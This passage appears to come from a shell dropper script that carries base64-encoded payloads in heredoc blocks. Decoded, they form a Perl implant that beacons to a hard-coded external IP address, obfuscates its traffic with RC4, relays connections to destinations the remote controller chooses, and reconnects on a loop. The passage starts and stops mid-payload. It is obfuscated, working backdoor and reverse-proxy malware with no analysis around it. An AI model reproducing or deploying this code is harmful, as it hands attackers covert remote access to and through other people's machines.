PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_8() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz 